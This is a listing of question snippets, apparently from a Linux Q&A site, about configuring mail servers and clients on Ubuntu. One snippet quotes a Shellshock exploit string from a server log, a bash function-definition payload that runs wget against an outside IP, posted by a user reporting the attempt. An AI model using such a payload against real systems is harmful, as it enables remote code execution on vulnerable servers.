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Send mail as from my personal gmail account

Today I have tried mail utility from my ubuntu system. Now in mail command, I could not find an utility to send mail from my gmail account. In fact, it sends from some adhikarisubir@ubutu ...
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setup local mail on ubuntu 12.04 not to the outside world just internally and use the mail command

I would like simple local mail setup for Ubuntu 12.04. I would like to use the mail command. I will install the other clients at a later date, I just want to get this default working. I found a post ...
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forward an exact copy of all mail to second arcive mail server [migrated]

I am setting up an mail server with postfix at the moment, and I am almost done with it. But i need to archive all incoming mails. My first setup was to set the sender_bcc_maps parameter and the ...
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Multiple messages to recipient_bcc_maps and sender_bcc_maps with Postfix while using amavis

I have a problem to configure my postfix. My aim is to have a mail-server which filters spam and virus mails by using Spamassasin and ClamAV via amavis. Furthermore i want to archive a copy of each ...
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I need Ubuntu Desktop for developers. Can someone mail it to me

I don't have enough Megabytes for downloading the Ubuntu Desktop for developers. Can anyone mail me the copy? It would be greatly appreciated. Thank you... Vivian, Papua New Guinea.
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how can I redirect all mails of my smtp server on only one adress mail (using roundcube)?

I have install postfix/courrier to send and recieve mails. I use roundcube like webmail to watch it. I have configure postfix with mysql DB, and create "contact@mydomain.com" adress. There is ...
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Know my mail sending options

I am having a ubuntu server with 12.04. How I detect which mail server I am using. I can't find any listed mail servers POSTFIX, SENDMAIL etc.. Is there any settings related to gmail SMTP?
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Postfix + MySQL + dovecot + postfixadmin - mail arrive to local users

I'm trying to set up a mail server with virtual users. I can: login in roundcube, send mail to gmail but when I send messages to my own domain, the mails arrive to local users. Mail was in ...
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configure thunderbird to read local spool mail [migrated]

I was trying to add a comment to Local mail in Thunderbird in /var/mail/username but I need 50 reputation to do so, hence a new question: I have a similar problem as in the linked question: I get ...
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PHP not sending mail? Works on phone, and other applications

So I have an application (WHMCS) and it does not send mail. I get this error: PHPMailer Exception - SMTP Error: Could not authenticate. It uses PHPMailer, I get this error from it when it tries to ...
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Dovecot/SquirrelMail Error: Opening inbox failed: Mailbox isn't selectable

Help me please!! I'm having trouble accessing my INBOX in Squirrelmail. I can access all of the other directories, (i.e. INBOX.Drafts, INBOX.Sent, INBOX.Trash), but not the INBOX itself. I get an ...
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Typo3 sending smtp-emails with extbase?

I wanted to aks if somebody can help me out here. I use typo 6.2 and in my Controller (using extbase) I already have this code running correctly: $message = ...
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your host may have disabled the mail() function

After installing lampp, I have this error on a website (a wordpress locally hosted) trying to send an email: The e-mail could not be sent. Possible reason: your host may have disabled the mail() ...
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Shellshock attempt in maillog

I just crawled through my logs and have found about this: Oct 24 11:26:37 hostname postfix/cleanup[2532]: 86A1B7E00A3: message-id=() { :; }; wget 185.10.58.181/VULNERABLE; Oct 24 11:26:37 hostname ...
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How to view mail through a client?

I just finished installing the postfix mail server and I was wondering how I can view my mail through a client rather than through command line? What clients exist for this and which are considered ...
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how to sent mail from my Ubuntu server

I am a beginner in mail server. I want to set up my own mail server so that I can send mail from my server to anyone. I have also installed postfix. How do I set this up? What do I need? How do I ...
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Postfix can send but not receive mail

I just finished following this tutorial to set up a postfix mail server on ubuntu 14.04: https://www.digitalocean.com/community/tutorials/how-to-install-and-setup-postfix-on-ubuntu-14-04 When I ...
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Postfix has stopped logging

After hearing about the BASH bug a week ago I decided to update my whole server using apt-get update && apt-get upgrade Today I have noticed that postfix has stopped logging my mail ...
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Installing Mail Server [duplicate]

I apologize if this has been asked before but how do I set up a mailserver? I've tried countless tutorials over the past several hours and they all don't seem to work. Can someone guide me in the ...
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Postfix 2.11.0, Error Code: Relay access denied 554.5.7.1, Rejects all external in-bound emails

Some TLC needed here. I am building this postfix/dovecot/clamav mail server following the tutorial here: https://www.exratione.com/2014/05/a-mailserver-on-ubuntu-1404-postfix-dovecot-mysql/ The issue ...
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Need help to choose mail sserver package which provides web based GUI?

Few things to just give you an background. I want to configure it on a fresh installation of Ubuntu Server 14.04 LTS Also have webmin installed. All the packages must be freeware or open source ...
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Able to send outgoing emails but not internal

This is probably simple question, but I need a push in right direction here. I've installed ssmtp and configured /etc/ssmtp.conf file, and can successfully send outgoing emails, but I cannot send ...
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migrate from Thunderbird to Evolution without re-downloading IMAP mails

I have about 3GB mails hold for offline usage in my thunderbird and it would take quite a while on a slow iinternet connection to re-download them all again in evolution. Is there a way to install ...
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no mail in `/var/mail`

i am trying to setup my system mail to monitor my mdadm raid arrays but I have no mail in /var/mail. How can I set this up and how can I test it? There should be something in may mail account I would ...
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root mail changed

I changed my root email for create a DNS server and now I can't change anything, I'm trying to enter as root using "sudo su", but when I write this command, nothing happens, and when I try to move, ...
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Joomla with postfix php mail not working

I am getting this error in mail.log (after trying to submit a contact form): fatal: Recipient addresses must be specified on the command line or via the -t option Its worth mentioning that I have ...
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Missing X-Spam-Status header

I recently upgraded to Ubuntu 14.04.1 LTS (trusty) and have followed the directions in https://help.ubuntu.com/14.04/serverguide/mail-filtering.html and am sending and receiving mail just fine. While ...
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DISABLE all mail functions in Ubuntu [closed]

I have a standard staging environment on a Ubuntu server (LAMP), with a couple of webpages on it. There are some webpages that send Emails on particular workflow events. I have to run few tests on ...
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When I login, I see “You have mail.”, but /var/mail/<username> is empty

I have a Ubuntu 14.04LTS installed on VPS. I have noticed that when I login I see greeting saying "You have mail", but cat /var/mail/myusername returns empty string, i.e. the file is empty. I ...
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No new mail notification in Thunderbird

I am using Thunderbird 31 on Ubuntu. I set up my accounts and then I closed Thunderbird. But I'm not getting any notification. Is there any add-on I need?
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A question on mysql command

I want to config postfix. I followed these instructions. On the first step I saw this mysql command: mysql > GRANT SELECT ON servermail.* TO 'usermail'@'127.0.0.1' IDENTIFIED BY 'mailpassword'; ...
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Corrupt PostFix Installv

I accidently removed some files that postfix needs and now it will not install or uninstall have tried: sudo apt-get purge postfix sudo apt-get remove postfix sudo apt-get upgrade sudo apt-get ...
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Evolution mail client for ubuntu 12.04

I am facing the following issue: When I attach 1 or 2 mails (which already have some attachment say word or excel file ) as attachments in any mail through evolution mail client for ubuntu 12.04, ...
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What is the difference between postfix and mailsutils?

I am attempting to set up an AWS EC2 with a simple mailing service for my crontab. And I have postfix set up, but when I used the "mail" command it did not work. So I installed mailutils as ubuntu ...
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Ubuntu Terminal Mail client

I am looking for an E-mail Client in the form of a Terminal/Console application. Does such an app exist on Ubuntu 14.04? I've yet to find one.
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Server side filtering - Courier, Postfix, Roundcube

I have a mail server running Postfix, Courier, and Roundcube. I'm looking to add the ability for a user to assign their own custom mail filters from the web. I haven't yet found a way I can do this, ...
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Mail Server Postfix + Dovecot

I'm running mail server on Ubuntu 12.04 and box has Web Server + Mail Server (Postfix + Dovecot). This is Virtual Machine setup on Windows Azure cloud. Problem: I'm unable to send emails outside ...
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sending email from cron with correct format

I am stuck when sending email in correct format from cron jobs executing my php script which fetches records from mysql database. i have a php script which fetches records from database and renders ...
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When Using A Dovecot and Postfix Cannot connect using a domain only IP Address?

I have setup a Postfix, Dovecot, and RoundCube Sever On Ubuntu 12.04.4 x64 and It works great. I can use my url mail.myurl.com and it points to my roundcube and i can send and receive email. If I use ...
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Evolution email client authentiaction

I installed Ubuntu 14.04 on my PC and then installed gnome-core as a desktop environment. And then installed evolution as my mail client, but after configuring it and start using it, it always ...
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Local mail in Thunderbird in /var/mail/username

I'm trying to configure Thunderbird to read local mail, as described in the answer in similar question: How read local email in thunderbird? However my mail is stored in /var/mail/username file. ...
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redirecting my mail server to another domain

I am not really familiar with Linux,that's why my questions might seem to be very easy for you. Currently I have a mail server on Ubuntu 12.04 (using Postfix) and Roundcube for web access, so our ...
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basic outgoing mail function

I've looked for tutorials and guides about this topic but seems really complicated to make it work. I'm working with php, I would like to send mails in some scenarios such as password recovery and ...
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Thunderbird not checking for new mail?

Since the update to kernal 3.13.0.30, Thunderbird 24.6.0 does not check for new mail on my system. I have tried clearing the 'automatically check for new mail', quitting the program, and restarting ...
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MSMTP with msmtpq (queued delivery)

What I intend to do use is the function called msmtpq to have messages that are sent while the computer is offline, queued for delivery when the machine comes back online. I have followed the guide ...
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Configuring sendmail for several domain names

So here's the problem: I have a webserver that's currently serving quite a number of different domain names as virtual hosts for apache. Lets say the default domain is defaultdomain.com When I use ...
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No login possible with postfix/dovecot and mysql under IMAP

I did the following installation of my own mailserver with dovecot/postfix and MySQL: https://thomas-leister.de/internet/mailserver-ubuntu-server-dovecot-postfix-mysql/ If you see the section of ...
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Why am I getting a 451 Temporary Local Problem with my sSMTP/mailx setup?

I've attempted many times to use ssmtp to send mails from my 12.04 server to no avail. With the help of @fkraiem I've got some settings worked out but something is still wrong with my sSMTP setting. ...
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I don't receive mail notification using Nagios Core 4

I have a problem with automatically mail notification in Nagios Core 4 installed on Ubuntu 12.04 LTS (Precise Pangolin) server... I have tried to send mail with the nagios user and root user ...
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why is my gmail account showing up in triplicate on my evolution mail app

on my ubuntu 14.04 machine I am using Evolution mail. I have various company iMap addresses and one Gmail account. My gmail account is showing in the left account list in triplicate for some reason ...